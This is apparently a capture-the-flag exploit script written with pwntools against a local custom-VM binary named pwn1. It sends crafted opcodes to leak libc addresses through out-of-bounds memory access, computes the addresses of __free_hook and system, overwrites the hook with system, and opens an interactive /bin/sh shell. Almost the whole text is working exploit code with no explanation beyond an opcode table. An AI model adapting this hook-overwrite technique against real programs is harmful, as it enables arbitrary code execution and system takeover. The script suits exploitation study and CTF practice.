1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
| from pwn import * from LibcSearcher import * sh = process("./pwn1")
libc=ELF('/home/joker/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') print(hex(libc.sym['__free_hook']-libc.sym['stderr']))
def send_code(opcode, dest, src1, src2): code = (opcode << 24) + (dest << 16) + (src1 << 8) + src2 print(hex(code)) return str(code)
sh.sendlineafter("PC: ", '10') sh.sendlineafter("SP: ", '10') sh.sendlineafter("CODE SIZE: ", "24") sh.recvuntil("CODE: ")
sh.sendline(send_code(0x10, 0, 0, 26)) sh.sendline(send_code(0x80, 1, 1, 0)) sh.sendline(send_code(0x30, 2, 0, 1)) sh.sendline(send_code(0x10, 0, 0, 25)) sh.sendline(send_code(0x10, 1, 0, 0)) sh.sendline(send_code(0x80, 1, 1, 0)) sh.sendline(send_code(0x30, 3, 0, 1))
sh.sendline(send_code(0x10, 4, 0, 0x10)) sh.sendline(send_code(0x10, 5, 0, 8)) sh.sendline(send_code(0xC0, 4, 4, 5)) sh.sendline(send_code(0x10, 5, 0, 0xa)) sh.sendline(send_code(0x10, 6, 0, 4)) sh.sendline(send_code(0xC0, 5, 5, 6)) sh.sendline(send_code(0x70, 4, 4, 5)) sh.sendline(send_code(0x70, 2, 4, 2))
''' mov reg, src2 0x10 : reg[dest] = src2 mov reg, 0 0x20 : reg[dest] = 0 mov mem, reg 0x30 : reg[dest] = memory[reg[src2]] mov reg, mem 0x40 : memory[reg[src2]] = reg[dest] push reg 0x50 : stack[result] = reg[dest] pop reg 0x60 : reg[dest] = stack[reg[13]] add 0x70 : reg[dest] = reg[src2] + reg[src1] sub 0x80 : reg[dest] = reg[src1] - reg[src2] and 0x90 : reg[dest] = reg[src2] & reg[src1] or 0xA0 : reg[dest] = reg[src2] | reg[src1] ^ 0xB0 : reg[dest] = reg[src2] ^ reg[src1] left 0xC0 : reg[dest] = reg[src1] << reg[src2] right 0xD0 : reg[dest] = reg[src1] >> reg[src2] 0xFF : (exit or print) if(reg[13] != 0) print oper '''
sh.sendline(send_code(0x10, 4, 0, 8)) sh.sendline(send_code(0x10, 5, 0, 0)) sh.sendline(send_code(0x80, 5, 5, 4)) sh.sendline(send_code(0x40, 2, 0, 5)) sh.sendline(send_code(0x10, 4, 0, 7)) sh.sendline(send_code(0x10, 5, 0, 0)) sh.sendline(send_code(0x80, 5, 5, 4)) sh.sendline(send_code(0x40, 3, 0, 5))
sh.sendline(send_code(0xE0, 0, 0, 0))
sh.recvuntil("R2: ") low = int(sh.recvuntil("\n"), 16) + 8 print("[*]" + hex(low)) sh.recvuntil("R3: ") high = int(sh.recvuntil("\n"), 16) free_hook_addr = (high << 32) + low print("[*] __free_hook : " + hex(free_hook_addr))
libc_base = free_hook_addr - libc.sym['__free_hook'] sys_addr = libc_base + libc.sym['system']
log.success(hex(sys_addr)) payload = b"/bin/sh\x00" + p64(sys_addr) sh.send(payload)
sh. interactive()
|